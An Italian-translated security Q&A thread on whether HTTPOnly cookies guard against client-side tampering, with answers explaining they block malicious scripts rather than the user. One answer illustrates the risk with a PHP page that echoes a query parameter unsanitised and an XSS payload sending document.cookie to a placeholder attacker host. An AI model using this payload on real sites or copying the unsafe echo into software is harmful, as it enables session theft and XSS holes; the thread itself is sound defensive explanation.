Cookie HTTPOnly: la sicurezza dipende dalla collaborazione con i clienti?

2

Ho implementato la gestione delle sessioni HTTPOnly basata sui cookie e ho alcune domande su cosa HTTP .

Mi rendo conto che è una bandiera che viene passata nell'intestazione HTTP quando si impostano i cookie. Mi rendo anche conto che la maggior parte dei browser rifiuta di consentire la modifica di tali cookie tramite lo scripting lato client.

L'idea, se ho capito bene, è che Mr Example sfoglia una pagina compromessa, il suo browser IE9 o qualsiasi altra cosa rifiuterà qualsiasi tentativo di furto di cookie dallo script seminato.

Tuttavia, visto che il cookie è memorizzato sul lato client, la flag HTTPOnly effettiva significa poco per chiunque sia determinato giusto? Se è memorizzato sul lato client, sicuramente il client può trovare un modo per modificare i contenuti al di fuori di una richiesta HTTP legittima?

In tal caso, ho ragione nel sostenere che HTTPOnly non protegge da modifiche non HTTP dal client stesso, ma piuttosto modifica tramite script malevoli eseguiti su un client abbastanza moderno? Ad esempio, non bloccare la modifica potenzialmente dannosa dei cookie da parte del client di per sé , ma inconsapevolmente modifiche specifiche?

    
posta Louis Jackman 18.02.2013 - 02:54
fonte

2 risposte

3

Sì, è la definizione esatta di un cookie HTTPOnly . Ovviamente il cliente può fare tutto ciò che vuole, quindi non è sorprendente. L'obiettivo è proteggere il cliente dai siti Web dannosi (invece di proteggere il cliente da se stesso) .

Questo si inserisce perfettamente in una delle Golden Rules della programmazione, con un'enfasi particolare sullo sviluppo del gioco: Non fidarti del client.

    
risposta data 18.02.2013 - 03:39
fonte
1

Supponiamo che il tuo sito Web sia vulnerabile a un attacco XSS:

http://victim.tld/yourPage.php:
Hello <?php echo $_GET['name']; ?>

Un utente malintenzionato potrebbe creare un iframe sul suo sito:

http://attacker.tld/index.php:
<iframe src="http://victim.tld/yourPage.php?name=XSS"display="none">

E sostituendo "XSS" (nell'URL sopra), con:

<script>document.location='http://attacker.tld/cookieStealer.php?c='+document.cookie;</script>

Lui (l'attaccante) potrebbe rubare i cookie ai tuoi utenti (ingannando l'utente in visit attacker.tld).

Per evitare che ciò accada, assicurati sempre di proteggere il tuo sito per i difetti XSS - questo può comunque essere complicato se hai un sacco di codice, quindi un modo per evitare che ciò accada è impostare il flag "httpOnly" nel cookie. In questo caso, il codice XSS: document.cookie non sarebbe in grado di accedere al cookie ("avviso": in casi molto rari può rompere il codice javascript e ricordare che non tutti i browser supportano httpOnly, quindi assicurati di risolvere il problema Difetti XSS).

    
risposta data 18.02.2013 - 15:11
fonte

Leggi altre domande sui tag